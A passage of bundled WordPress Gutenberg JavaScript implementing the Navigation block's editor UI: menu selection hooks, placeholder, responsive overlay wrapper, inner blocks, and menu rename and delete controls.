      kind: &quot;postType&quot;,
      name: &quot;wp_navigation&quot;,
      id: ref
    });
    const {
      navigationMenu,
      isNavigationMenuResolved,
      isNavigationMenuMissing
    } = (0, import_data61.useSelect)(
      (select9) =&gt; {
        return selectExistingMenu(select9, ref);
      },
      [ref]
    );
    const {
      // Can the user create navigation menus?
      canCreate: canCreateNavigationMenus,
      // Can the user update the specific navigation menu with the given post ID?
      canUpdate: canUpdateNavigationMenu,
      // Can the user delete the specific navigation menu with the given post ID?
      canDelete: canDeleteNavigationMenu,
      isResolving: isResolvingPermissions,
      hasResolved: hasResolvedPermissions
    } = permissions;
    const {
      records: navigationMenus,
      isResolving: isResolvingNavigationMenus,
      hasResolved: hasResolvedNavigationMenus
    } = (0, import_core_data26.useEntityRecords)(
      &quot;postType&quot;,
      `wp_navigation`,
      PRELOADED_NAVIGATION_MENUS_QUERY
    );
    const canSwitchNavigationMenu = ref ? navigationMenus?.length &gt; 1 : navigationMenus?.length &gt; 0;
    return {
      navigationMenu,
      isNavigationMenuResolved,
      isNavigationMenuMissing,
      navigationMenus,
      isResolvingNavigationMenus,
      hasResolvedNavigationMenus,
      canSwitchNavigationMenu,
      canUserCreateNavigationMenus: canCreateNavigationMenus,
      isResolvingCanUserCreateNavigationMenus: isResolvingPermissions,
      hasResolvedCanUserCreateNavigationMenus: hasResolvedPermissions,
      canUserUpdateNavigationMenu: canUpdateNavigationMenu,
      hasResolvedCanUserUpdateNavigationMenu: ref ? hasResolvedPermissions : void 0,
      canUserDeleteNavigationMenu: canDeleteNavigationMenu,
      hasResolvedCanUserDeleteNavigationMenu: ref ? hasResolvedPermissions : void 0
    };
  }
  function selectExistingMenu(select9, ref) {
    if (!ref) {
      return {
        isNavigationMenuResolved: false,
        isNavigationMenuMissing: true
      };
    }
    const { getEntityRecord, getEditedEntityRecord, hasFinishedResolution } = select9(import_core_data26.store);
    const args = [&quot;postType&quot;, &quot;wp_navigation&quot;, ref];
    const navigationMenu = getEntityRecord(...args);
    const editedNavigationMenu = getEditedEntityRecord(...args);
    const hasResolvedNavigationMenu = hasFinishedResolution(
      &quot;getEditedEntityRecord&quot;,
      args
    );
    const isNavigationMenuPublishedOrDraft = editedNavigationMenu.status === &quot;publish&quot; || editedNavigationMenu.status === &quot;draft&quot;;
    return {
      isNavigationMenuResolved: hasResolvedNavigationMenu,
      isNavigationMenuMissing: hasResolvedNavigationMenu &amp;&amp; (!navigationMenu || !isNavigationMenuPublishedOrDraft),
      // getEditedEntityRecord will return the post regardless of status.
      // Therefore if the found post is not published then we should ignore it.
      navigationMenu: isNavigationMenuPublishedOrDraft ? editedNavigationMenu : null
    };
  }

  // packages/block-library/build-module/navigation/use-navigation-entities.mjs
  var import_core_data27 = __toESM(require_core_data(), 1);
  function useNavigationEntities(menuId) {
    const {
      records: menus,
      isResolving: isResolvingMenus,
      hasResolved: hasResolvedMenus
    } = (0, import_core_data27.useEntityRecords)(&quot;root&quot;, &quot;menu&quot;, { per_page: -1, context: &quot;view&quot; });
    const {
      records: pages,
      isResolving: isResolvingPages,
      hasResolved: hasResolvedPages
    } = (0, import_core_data27.useEntityRecords)(&quot;postType&quot;, &quot;page&quot;, {
      parent: 0,
      order: &quot;asc&quot;,
      orderby: &quot;id&quot;,
      per_page: -1,
      context: &quot;view&quot;
    });
    const { records: menuItems, hasResolved: hasResolvedMenuItems } = (0, import_core_data27.useEntityRecords)(
      &quot;root&quot;,
      &quot;menuItem&quot;,
      {
        menus: menuId,
        per_page: -1,
        context: &quot;view&quot;
      },
      { enabled: !!menuId }
    );
    return {
      pages,
      isResolvingPages,
      hasResolvedPages,
      hasPages: !!(hasResolvedPages &amp;&amp; pages?.length),
      menus,
      isResolvingMenus,
      hasResolvedMenus,
      hasMenus: !!(hasResolvedMenus &amp;&amp; menus?.length),
      menuItems,
      hasResolvedMenuItems
    };
  }

  // packages/block-library/build-module/navigation/edit/placeholder/index.mjs
  var import_components70 = __toESM(require_components(), 1);
  var import_i18n114 = __toESM(require_i18n(), 1);
  var import_a11y2 = __toESM(require_a11y(), 1);
  var import_element60 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/placeholder/placeholder-preview.mjs
  var import_i18n112 = __toESM(require_i18n(), 1);
  var import_jsx_runtime303 = __toESM(require_jsx_runtime(), 1);
  var PlaceholderPreview = ({ isVisible = true }) =&gt; {
    return /* @__PURE__ */ (0, import_jsx_runtime303.jsx)(
      &quot;div&quot;,
      {
        &quot;aria-hidden&quot;: !isVisible ? true : void 0,
        className: &quot;wp-block-navigation-placeholder__preview&quot;,
        children: /* @__PURE__ */ (0, import_jsx_runtime303.jsxs)(&quot;div&quot;, { className: &quot;wp-block-navigation-placeholder__actions__indicator&quot;, children: [
          /* @__PURE__ */ (0, import_jsx_runtime303.jsx)(icon_default, { icon: navigation_default }),
          (0, import_i18n112.__)(&quot;Navigation&quot;)
        ] })
      }
    );
  };
  var placeholder_preview_default = PlaceholderPreview;

  // packages/block-library/build-module/navigation/edit/navigation-menu-selector.mjs
  var import_components69 = __toESM(require_components(), 1);
  var import_i18n113 = __toESM(require_i18n(), 1);
  var import_html_entities3 = __toESM(require_html_entities(), 1);
  var import_element59 = __toESM(require_element(), 1);
  var import_core_data28 = __toESM(require_core_data(), 1);
  var import_jsx_runtime304 = __toESM(require_jsx_runtime(), 1);
  function buildMenuLabel(title, id, status) {
    if (!title) {
      return (0, import_i18n113.sprintf)((0, import_i18n113.__)(&quot;(no title %s)&quot;), id);
    }
    if (status === &quot;publish&quot;) {
      return (0, import_html_entities3.decodeEntities)(title);
    }
    return (0, import_i18n113.sprintf)(
      // translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
      (0, import_i18n113.__)(&quot;%1$s (%2$s)&quot;),
      (0, import_html_entities3.decodeEntities)(title),
      status
    );
  }
  function NavigationMenuSelector({
    currentMenuId,
    onSelectNavigationMenu,
    onSelectClassicMenu,
    onCreateNew,
    actionLabel: actionLabel2,
    createNavigationMenuIsSuccess,
    createNavigationMenuIsError
  }) {
    const createActionLabel = (0, import_i18n113.__)(&quot;Create from &#039;%s&#039;&quot;);
    const [isUpdatingMenuRef, setIsUpdatingMenuRef] = (0, import_element59.useState)(false);
    actionLabel2 = actionLabel2 || createActionLabel;
    const { menus: classicMenus } = useNavigationEntities();
    const {
      navigationMenus,
      isResolvingNavigationMenus,
      hasResolvedNavigationMenus,
      canUserCreateNavigationMenus,
      canSwitchNavigationMenu,
      isNavigationMenuMissing
    } = useNavigationMenu(currentMenuId);
    const [currentTitle] = (0, import_core_data28.useEntityProp)(
      &quot;postType&quot;,
      &quot;wp_navigation&quot;,
      &quot;title&quot;,
      currentMenuId
    );
    const menuChoices = (0, import_element59.useMemo)(() =&gt; {
      return navigationMenus?.map(({ id, title, status }, index) =&gt; {
        const label = buildMenuLabel(
          title?.rendered,
          index + 1,
          status
        );
        return {
          value: id,
          label,
          ariaLabel: (0, import_i18n113.sprintf)(actionLabel2, label),
          disabled: isUpdatingMenuRef || isResolvingNavigationMenus || !hasResolvedNavigationMenus
        };
      }) || [];
    }, [
      navigationMenus,
      actionLabel2,
      isResolvingNavigationMenus,
      hasResolvedNavigationMenus,
      isUpdatingMenuRef
    ]);
    const hasNavigationMenus = !!navigationMenus?.length;
    const hasClassicMenus = !!classicMenus?.length;
    const showNavigationMenus = !!canSwitchNavigationMenu;
    const showClassicMenus = !!canUserCreateNavigationMenus;
    const noMenuSelected = hasNavigationMenus &amp;&amp; !currentMenuId;
    const noBlockMenus = !hasNavigationMenus &amp;&amp; hasResolvedNavigationMenus;
    const menuUnavailable = hasResolvedNavigationMenus &amp;&amp; currentMenuId === null;
    const navMenuHasBeenDeleted = currentMenuId &amp;&amp; isNavigationMenuMissing;
    let selectorLabel = &quot;&quot;;
    if (isResolvingNavigationMenus) {
      selectorLabel = (0, import_i18n113.__)(&quot;Loading\u2026&quot;);
    } else if (noMenuSelected || noBlockMenus || menuUnavailable || navMenuHasBeenDeleted) {
      selectorLabel = (0, import_i18n113.__)(&quot;Choose or create a Navigation Menu&quot;);
    } else {
      selectorLabel = currentTitle;
    }
    (0, import_element59.useEffect)(() =&gt; {
      if (isUpdatingMenuRef &amp;&amp; (createNavigationMenuIsSuccess || createNavigationMenuIsError)) {
        setIsUpdatingMenuRef(false);
      }
    }, [
      hasResolvedNavigationMenus,
      createNavigationMenuIsSuccess,
      canUserCreateNavigationMenus,
      createNavigationMenuIsError,
      isUpdatingMenuRef,
      menuUnavailable,
      noBlockMenus,
      noMenuSelected
    ]);
    const NavigationMenuSelectorDropdown = /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(
      import_components69.DropdownMenu,
      {
        label: selectorLabel,
        icon: more_vertical_default,
        toggleProps: { size: &quot;small&quot; },
        children: ({ onClose }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime304.jsxs)(import_jsx_runtime304.Fragment, { children: [
          showNavigationMenus &amp;&amp; hasNavigationMenus &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(import_components69.MenuGroup, { label: (0, import_i18n113.__)(&quot;Menus&quot;), children: /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(
            import_components69.MenuItemsChoice,
            {
              value: currentMenuId,
              onSelect: (menuId) =&gt; {
                onSelectNavigationMenu(menuId);
                onClose();
              },
              choices: menuChoices
            }
          ) }),
          showClassicMenus &amp;&amp; hasClassicMenus &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(import_components69.MenuGroup, { label: (0, import_i18n113.__)(&quot;Import Classic Menus&quot;), children: classicMenus?.map((menu) =&gt; {
            const label = (0, import_html_entities3.decodeEntities)(menu.name);
            return /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(
              import_components69.MenuItem,
              {
                onClick: async () =&gt; {
                  setIsUpdatingMenuRef(true);
                  await onSelectClassicMenu(menu);
                  setIsUpdatingMenuRef(false);
                  onClose();
                },
                &quot;aria-label&quot;: (0, import_i18n113.sprintf)(
                  createActionLabel,
                  label
                ),
                disabled: isUpdatingMenuRef || isResolvingNavigationMenus || !hasResolvedNavigationMenus,
                children: label
              },
              menu.id
            );
          }) }),
          canUserCreateNavigationMenus &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(import_components69.MenuGroup, { label: (0, import_i18n113.__)(&quot;Tools&quot;), children: /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(
            import_components69.MenuItem,
            {
              onClick: async () =&gt; {
                setIsUpdatingMenuRef(true);
                await onCreateNew();
                setIsUpdatingMenuRef(false);
                onClose();
              },
              disabled: isUpdatingMenuRef || isResolvingNavigationMenus || !hasResolvedNavigationMenus,
              children: (0, import_i18n113.__)(&quot;Create new Menu&quot;)
            }
          ) })
        ] })
      }
    );
    return NavigationMenuSelectorDropdown;
  }
  var navigation_menu_selector_default = NavigationMenuSelector;

  // packages/block-library/build-module/navigation/edit/placeholder/index.mjs
  var import_jsx_runtime305 = __toESM(require_jsx_runtime(), 1);
  function NavigationPlaceholder({
    isSelected,
    currentMenuId,
    clientId,
    canUserCreateNavigationMenus = false,
    isResolvingCanUserCreateNavigationMenus,
    onSelectNavigationMenu,
    onSelectClassicMenu,
    onCreateEmpty
  }) {
    const { isResolvingMenus, hasResolvedMenus } = useNavigationEntities();
    (0, import_element60.useEffect)(() =&gt; {
      if (!isSelected) {
        return;
      }
      if (isResolvingMenus) {
        (0, import_a11y2.speak)((0, import_i18n114.__)(&quot;Loading navigation block setup options\u2026&quot;));
      }
      if (hasResolvedMenus) {
        (0, import_a11y2.speak)((0, import_i18n114.__)(&quot;Navigation block setup options ready.&quot;));
      }
    }, [hasResolvedMenus, isResolvingMenus, isSelected]);
    const isResolvingActions = isResolvingMenus &amp;&amp; isResolvingCanUserCreateNavigationMenus;
    return /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(import_jsx_runtime305.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime305.jsxs)(import_components70.Placeholder, { className: &quot;wp-block-navigation-placeholder&quot;, children: [
      /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(placeholder_preview_default, { isVisible: !isSelected }),
      /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(
        &quot;div&quot;,
        {
          &quot;aria-hidden&quot;: !isSelected ? true : void 0,
          className: &quot;wp-block-navigation-placeholder__controls&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime305.jsxs)(&quot;div&quot;, { className: &quot;wp-block-navigation-placeholder__actions&quot;, children: [
            /* @__PURE__ */ (0, import_jsx_runtime305.jsxs)(&quot;div&quot;, { className: &quot;wp-block-navigation-placeholder__actions__indicator&quot;, children: [
              /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(icon_default, { icon: navigation_default }),
              &quot; &quot;,
              (0, import_i18n114.__)(&quot;Navigation&quot;)
            ] }),
            /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(&quot;hr&quot;, {}),
            isResolvingActions &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(import_components70.Spinner, {}),
            /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(
              navigation_menu_selector_default,
              {
                currentMenuId,
                clientId,
                onSelectNavigationMenu,
                onSelectClassicMenu
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(&quot;hr&quot;, {}),
            canUserCreateNavigationMenus &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(
              import_components70.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;tertiary&quot;,
                onClick: onCreateEmpty,
                children: (0, import_i18n114.__)(&quot;Start empty&quot;)
              }
            )
          ] })
        }
      )
    ] }) });
  }

  // packages/block-library/build-module/navigation/edit/responsive-wrapper.mjs
  var import_components71 = __toESM(require_components(), 1);
  var import_i18n115 = __toESM(require_i18n(), 1);
  var import_block_editor139 = __toESM(require_block_editor(), 1);
  var import_data62 = __toESM(require_data(), 1);
  var import_core_data29 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/navigation/edit/overlay-menu-icon.mjs
  var import_primitives163 = __toESM(require_primitives(), 1);
  var import_jsx_runtime306 = __toESM(require_jsx_runtime(), 1);
  function OverlayMenuIcon({ icon: icon4 }) {
    if (icon4 === &quot;menu&quot;) {
      return /* @__PURE__ */ (0, import_jsx_runtime306.jsx)(icon_default, { icon: menu_default });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime306.jsxs)(
      import_primitives163.SVG,
      {
        xmlns: &quot;http://www.w3.org/2000/svg&quot;,
        viewBox: &quot;0 0 24 24&quot;,
        width: &quot;24&quot;,
        height: &quot;24&quot;,
        &quot;aria-hidden&quot;: &quot;true&quot;,
        focusable: &quot;false&quot;,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime306.jsx)(import_primitives163.Rect, { x: &quot;4&quot;, y: &quot;7.5&quot;, width: &quot;16&quot;, height: &quot;1.5&quot; }),
          /* @__PURE__ */ (0, import_jsx_runtime306.jsx)(import_primitives163.Rect, { x: &quot;4&quot;, y: &quot;15&quot;, width: &quot;16&quot;, height: &quot;1.5&quot; })
        ]
      }
    );
  }

  // packages/block-library/build-module/template-part/edit/utils/create-template-part-id.mjs
  function createTemplatePartId(theme, slug) {
    return theme &amp;&amp; slug ? theme + &quot;//&quot; + slug : null;
  }

  // packages/block-library/build-module/navigation/edit/responsive-wrapper.mjs
  var import_jsx_runtime307 = __toESM(require_jsx_runtime(), 1);
  function ResponsiveWrapper({
    children,
    id,
    isOpen,
    isResponsive,
    onToggle,
    isHiddenByDefault,
    overlayBackgroundColor,
    overlayTextColor,
    hasIcon,
    icon: icon4,
    overlay,
    onNavigateToEntityRecord
  }) {
    const currentTheme = (0, import_data62.useSelect)(
      (select9) =&gt; select9(import_core_data29.store).getCurrentTheme()?.stylesheet,
      []
    );
    if (!isResponsive) {
      return children;
    }
    const hasCustomOverlay = !!overlay;
    const responsiveContainerClasses = clsx_default(
      &quot;wp-block-navigation__responsive-container&quot;,
      !hasCustomOverlay &amp;&amp; {
        &quot;has-text-color&quot;: !!overlayTextColor.color || !!overlayTextColor?.class,
        [(0, import_block_editor139.getColorClassName)(&quot;color&quot;, overlayTextColor?.slug)]: !!overlayTextColor?.slug,
        &quot;has-background&quot;: !!overlayBackgroundColor.color || overlayBackgroundColor?.class,
        [(0, import_block_editor139.getColorClassName)(
          &quot;background-color&quot;,
          overlayBackgroundColor?.slug
        )]: !!overlayBackgroundColor?.slug
      },
      {
        &quot;is-menu-open&quot;: isOpen,
        &quot;hidden-by-default&quot;: isHiddenByDefault
      }
    );
    const styles = !hasCustomOverlay ? {
      color: !overlayTextColor?.slug &amp;&amp; overlayTextColor?.color,
      backgroundColor: !overlayBackgroundColor?.slug &amp;&amp; overlayBackgroundColor?.color &amp;&amp; overlayBackgroundColor.color
    } : {};
    const openButtonClasses = clsx_default(
      &quot;wp-block-navigation__responsive-container-open&quot;,
      { &quot;always-shown&quot;: isHiddenByDefault }
    );
    const modalId = `${id}-modal`;
    const dialogProps = {
      className: &quot;wp-block-navigation__responsive-dialog&quot;,
      ...isOpen &amp;&amp; {
        role: &quot;dialog&quot;,
        &quot;aria-modal&quot;: true,
        &quot;aria-label&quot;: (0, import_i18n115.__)(&quot;Menu&quot;)
      }
    };
    const handleToggleClick = () =&gt; {
      if (overlay &amp;&amp; onNavigateToEntityRecord) {
        const templatePartId = createTemplatePartId(
          currentTheme,
          overlay
        );
        onNavigateToEntityRecord({
          postId: templatePartId,
          postType: &quot;wp_template_part&quot;
        });
        return;
      }
      onToggle(true);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime307.jsxs)(import_jsx_runtime307.Fragment, { children: [
      !isOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime307.jsxs)(
        import_components71.Button,
        {
          __next40pxDefaultSize: true,
          &quot;aria-haspopup&quot;: &quot;true&quot;,
          &quot;aria-label&quot;: hasIcon &amp;&amp; (0, import_i18n115.__)(&quot;Open menu&quot;),
          className: openButtonClasses,
          onClick: handleToggleClick,
          children: [
            hasIcon &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(OverlayMenuIcon, { icon: icon4 }),
            !hasIcon &amp;&amp; (0, import_i18n115.__)(&quot;Menu&quot;)
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(
        &quot;div&quot;,
        {
          className: responsiveContainerClasses,
          style: styles,
          id: modalId,
          children: /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(
            &quot;div&quot;,
            {
              className: &quot;wp-block-navigation__responsive-close&quot;,
              tabIndex: &quot;-1&quot;,
              children: /* @__PURE__ */ (0, import_jsx_runtime307.jsxs)(&quot;div&quot;, { ...dialogProps, children: [
                /* @__PURE__ */ (0, import_jsx_runtime307.jsxs)(
                  import_components71.Button,
                  {
                    __next40pxDefaultSize: true,
                    className: &quot;wp-block-navigation__responsive-container-close&quot;,
                    &quot;aria-label&quot;: hasIcon &amp;&amp; (0, import_i18n115.__)(&quot;Close menu&quot;),
                    onClick: () =&gt; onToggle(false),
                    children: [
                      hasIcon &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(icon_default, { icon: close_default }),
                      !hasIcon &amp;&amp; (0, import_i18n115.__)(&quot;Close&quot;)
                    ]
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(
                  &quot;div&quot;,
                  {
                    className: &quot;wp-block-navigation__responsive-container-content&quot;,
                    id: `${modalId}-content`,
                    children
                  }
                )
              ] })
            }
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/inner-blocks.mjs
  var import_core_data30 = __toESM(require_core_data(), 1);
  var import_block_editor140 = __toESM(require_block_editor(), 1);
  var import_data63 = __toESM(require_data(), 1);
  var import_element61 = __toESM(require_element(), 1);
  var import_jsx_runtime308 = __toESM(require_jsx_runtime(), 1);
  function NavigationInnerBlocks({
    clientId,
    hasCustomPlaceholder,
    orientation,
    templateLock
  }) {
    const {
      isImmediateParentOfSelectedBlock,
      selectedBlockHasChildren,
      isSelected,
      hasSelectedDescendant
    } = (0, import_data63.useSelect)(
      (select9) =&gt; {
        const {
          getBlockCount,
          hasSelectedInnerBlock,
          getSelectedBlockClientId
        } = select9(import_block_editor140.store);
        const selectedBlockId = getSelectedBlockClientId();
        return {
          isImmediateParentOfSelectedBlock: hasSelectedInnerBlock(
            clientId,
            false
          ),
          selectedBlockHasChildren: !!getBlockCount(selectedBlockId),
          hasSelectedDescendant: hasSelectedInnerBlock(clientId, true),
          // This prop is already available but computing it here ensures it&#039;s
          // fresh compared to isImmediateParentOfSelectedBlock.
          isSelected: selectedBlockId === clientId
        };
      },
      [clientId]
    );
    const [blocks, onInput, onChange] = (0, import_core_data30.useEntityBlockEditor)(
      &quot;postType&quot;,
      &quot;wp_navigation&quot;
    );
    const parentOrChildHasSelection = isSelected || isImmediateParentOfSelectedBlock &amp;&amp; !selectedBlockHasChildren;
    const placeholder2 = (0, import_element61.useMemo)(() =&gt; /* @__PURE__ */ (0, import_jsx_runtime308.jsx)(placeholder_preview_default, {}), []);
    const hasMenuItems = !!blocks?.length;
    const showPlaceholder = !hasCustomPlaceholder &amp;&amp; !hasMenuItems &amp;&amp; !isSelected;
    const innerBlocksProps = (0, import_block_editor140.useInnerBlocksProps)(
      {
        className: &quot;wp-block-navigation__container&quot;
      },
      {
        value: blocks,
        onInput,
        onChange,
        prioritizedInserterBlocks: PRIORITIZED_INSERTER_BLOCKS,
        defaultBlock: DEFAULT_BLOCK5,
        directInsert: true,
        orientation,
        templateLock,
        // As an exception to other blocks which feature nesting, show
        // the block appender even when a child block is selected.
        // This should be a temporary fix, to be replaced by improvements to
        // the sibling inserter.
        // See https://github.com/WordPress/gutenberg/issues/37572.
        renderAppender: isSelected || isImmediateParentOfSelectedBlock &amp;&amp; !selectedBlockHasChildren || hasSelectedDescendant || // Show the appender while dragging to allow inserting element between item and the appender.
        parentOrChildHasSelection ? import_block_editor140.InnerBlocks.ButtonBlockAppender : false,
        placeholder: showPlaceholder ? placeholder2 : void 0,
        __experimentalCaptureToolbars: true,
        __unstableDisableLayoutClassNames: true
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime308.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/navigation/edit/navigation-menu-name-control.mjs
  var import_components72 = __toESM(require_components(), 1);
  var import_core_data31 = __toESM(require_core_data(), 1);
  var import_i18n116 = __toESM(require_i18n(), 1);
  var import_jsx_runtime309 = __toESM(require_jsx_runtime(), 1);
  function NavigationMenuNameControl() {
    const [title, updateTitle] = (0, import_core_data31.useEntityProp)(
      &quot;postType&quot;,
      &quot;wp_navigation&quot;,
      &quot;title&quot;
    );
    return /* @__PURE__ */ (0, import_jsx_runtime309.jsx)(
      import_components72.TextControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n116.__)(&quot;Menu name&quot;),
        value: title,
        onChange: updateTitle
      }
    );
  }

  // packages/block-library/build-module/navigation/edit/unsaved-inner-blocks.mjs
  var import_block_editor141 = __toESM(require_block_editor(), 1);
  var import_components73 = __toESM(require_components(), 1);
  var import_core_data32 = __toESM(require_core_data(), 1);
  var import_data64 = __toESM(require_data(), 1);
  var import_element62 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/are-blocks-dirty.mjs
  function areBlocksDirty(originalBlocks, blocks) {
    return !isDeepEqual(originalBlocks, blocks, (prop, x2) =&gt; {
      if (x2?.name === &quot;core/page-list&quot; &amp;&amp; prop === &quot;innerBlocks&quot;) {
        return true;
      }
    });
  }
  var isDeepEqual = (x2, y2, shouldSkip) =&gt; {
    if (x2 === y2) {
      return true;
    } else if (typeof x2 === &quot;object&quot; &amp;&amp; x2 !== null &amp;&amp; x2 !== void 0 &amp;&amp; typeof y2 === &quot;object&quot; &amp;&amp; y2 !== null &amp;&amp; y2 !== void 0) {
      if (Object.keys(x2).length !== Object.keys(y2).length) {
        return false;
      }
      for (const prop in x2) {
        if (y2.hasOwnProperty(prop)) {
          if (shouldSkip &amp;&amp; shouldSkip(prop, x2)) {
            return true;
          }
          if (!isDeepEqual(x2[prop], y2[prop], shouldSkip)) {
            return false;
          }
        } else {
          return false;
        }
      }
      return true;
    }
    return false;
  };

  // packages/block-library/build-module/navigation/edit/unsaved-inner-blocks.mjs
  var import_jsx_runtime310 = __toESM(require_jsx_runtime(), 1);
  var EMPTY_OBJECT = {};
  function UnsavedInnerBlocks({
    blocks,
    createNavigationMenu,
    hasSelection
  }) {
    const originalBlocksRef = (0, import_element62.useRef)();
    (0, import_element62.useEffect)(() =&gt; {
      if (!originalBlocksRef?.current) {
        originalBlocksRef.current = blocks;
      }
    }, [blocks]);
    const innerBlocksAreDirty = areBlocksDirty(
      originalBlocksRef?.current,
      blocks
    );
    const isDisabled = (0, import_element62.useContext)(import_components73.Disabled.Context);
    const innerBlocksProps = (0, import_block_editor141.useInnerBlocksProps)(
      {
        className: &quot;wp-block-navigation__container&quot;
      },
      {
        renderAppender: hasSelection ? void 0 : false,
        defaultBlock: DEFAULT_BLOCK5,
        directInsert: true
      }
    );
    const { isSaving, hasResolvedAllNavigationMenus } = (0, import_data64.useSelect)(
      (select9) =&gt; {
        if (isDisabled) {
          return EMPTY_OBJECT;
        }
        const { hasFinishedResolution, isSavingEntityRecord } = select9(import_core_data32.store);
        return {
          isSaving: isSavingEntityRecord(&quot;postType&quot;, &quot;wp_navigation&quot;),
          hasResolvedAllNavigationMenus: hasFinishedResolution(
            &quot;getEntityRecords&quot;,
            SELECT_NAVIGATION_MENUS_ARGS
          )
        };
      },
      [isDisabled]
    );
    (0, import_element62.useEffect)(() =&gt; {
      if (isDisabled || isSaving || !hasResolvedAllNavigationMenus || !hasSelection || !innerBlocksAreDirty) {
        return;
      }
      createNavigationMenu(null, blocks);
    }, [
      blocks,
      createNavigationMenu,
      isDisabled,
      isSaving,
      hasResolvedAllNavigationMenus,
      innerBlocksAreDirty,
      hasSelection
    ]);
    const Wrapper = isSaving ? import_components73.Disabled : &quot;div&quot;;
    return /* @__PURE__ */ (0, import_jsx_runtime310.jsx)(Wrapper, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/navigation/edit/navigation-menu-delete-control.mjs
  var import_components74 = __toESM(require_components(), 1);
  var import_core_data33 = __toESM(require_core_data(), 1);
  var import_data65 = __toESM(require_data(), 1);
  var import_element63 = __toESM(require_element(), 1);
  var import_i18n117 = __toESM(require_i18n(), 1);
  var import_jsx_runtime311 = __toESM(require_jsx_runtime(), 1);
  function NavigationMenuDeleteControl({ onDelete }) {
    const [isConfirmDialogVisible, setIsConfirmDialogVisible] = (0, import_element63.useState)(false);
    const id = (0, import_core_data33.useEntityId)(&quot;postType&quot;, &quot;wp_navigation&quot;);
    const { deleteEntityRecord } = (0, import_data65.useDispatch)(import_core_data33.store);
    return /* @__PURE__ */ (0, import_jsx_runtime311.jsxs)(import_jsx_runtime311.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime311.jsx)(
        import_components74.Button,
        {
          __next40pxDefaultSize: true,
          className: &quot;wp-block-navigation-delete-menu-button&quot;,
          variant: &quot;secondary&quot;,
          isDestructive: true,
          onClick: () =&gt; {
            setIsConfirmDialogVisible(true);
          },
          children: (0, import_i18n117.__)(&quot;Delete menu&quot;)
        }
      ),
      isConfirmDialogVisible &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime311.jsx)(
        import_components74.__experimentalConfirmDialog,
        {
          isOpen: true,
          onConfirm: () =&gt; {
            deleteEntityRecord(&quot;postType&quot;, &quot;wp_navigation&quot;, id, {
              force: true
            });
            onDelete();
          },
          onCancel: () =&gt; {
            setIsConfirmDialogVisible(false);
          },
          confirmButtonText: (0, import_i18n117.__)(&quot;Delete&quot;),
          size: &quot;medium&quot;,
          children: (0, import_i18n117.__)(
            &quot;Are you sure you want to delete this Navigation Menu?&quot;
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/use-navigation-notice.mjs
  var import_element64 = __toESM(require_element(), 1);
  var import_data66 = __toESM(require_data(), 1);
  var import_notices11 = __toESM(require_notices(), 1);
  function useNavigationNotice({ name: name123, message = &quot;&quot; } = {}) {
    const noticeRef = (0, import_element64.useRef)();
    const { createWarningNotice, removeNotice } = (0, import_data66.useDispatch)(import_notices11.store);
    const showNotice = (0, import_element64.useCallback)(
      (customMsg) =&gt; {
        if (noticeRef.current) {
          return;
        }
        noticeRef.current = name123;
        createWarningNotice(customMsg || message, {
          id: noticeRef.current,
          type: &quot;snackbar&quot;
        });
      },
      [noticeRef, createWarningNotice, message, name123]
    );
    const hideNotice = (0, import_element64.useCallback)(() =&gt; {
      if (!noticeRef.current) {
        return;
      }
      removeNotice(noticeRef.current);
      noticeRef.current = null;
    }, [noticeRef, removeNotice]);
    return [showNotice, hideNotice];
  }
  var use_navigation_notice_default = useNavigationNotice;

  // packages/block-library/build-module/navigation/edit/overlay-menu-preview.mjs
  var import_components75 = __toESM(require_components(), 1);
  var import_i18n118 = __toESM(require_i18n(), 1);
  var import_jsx_runtime312 = __toESM(require_jsx_runtime(), 1);
  function OverlayMenuPreview({ setAttributes, hasIcon, icon: icon4 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime312.jsxs)(import_jsx_runtime312.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
        import_components75.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n118.__)(&quot;Show icon button&quot;),
          isShownByDefault: true,
          hasValue: () =&gt; !hasIcon,
          onDeselect: () =&gt; setAttributes({ hasIcon: true }),
          children: /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
            import_components75.ToggleControl,
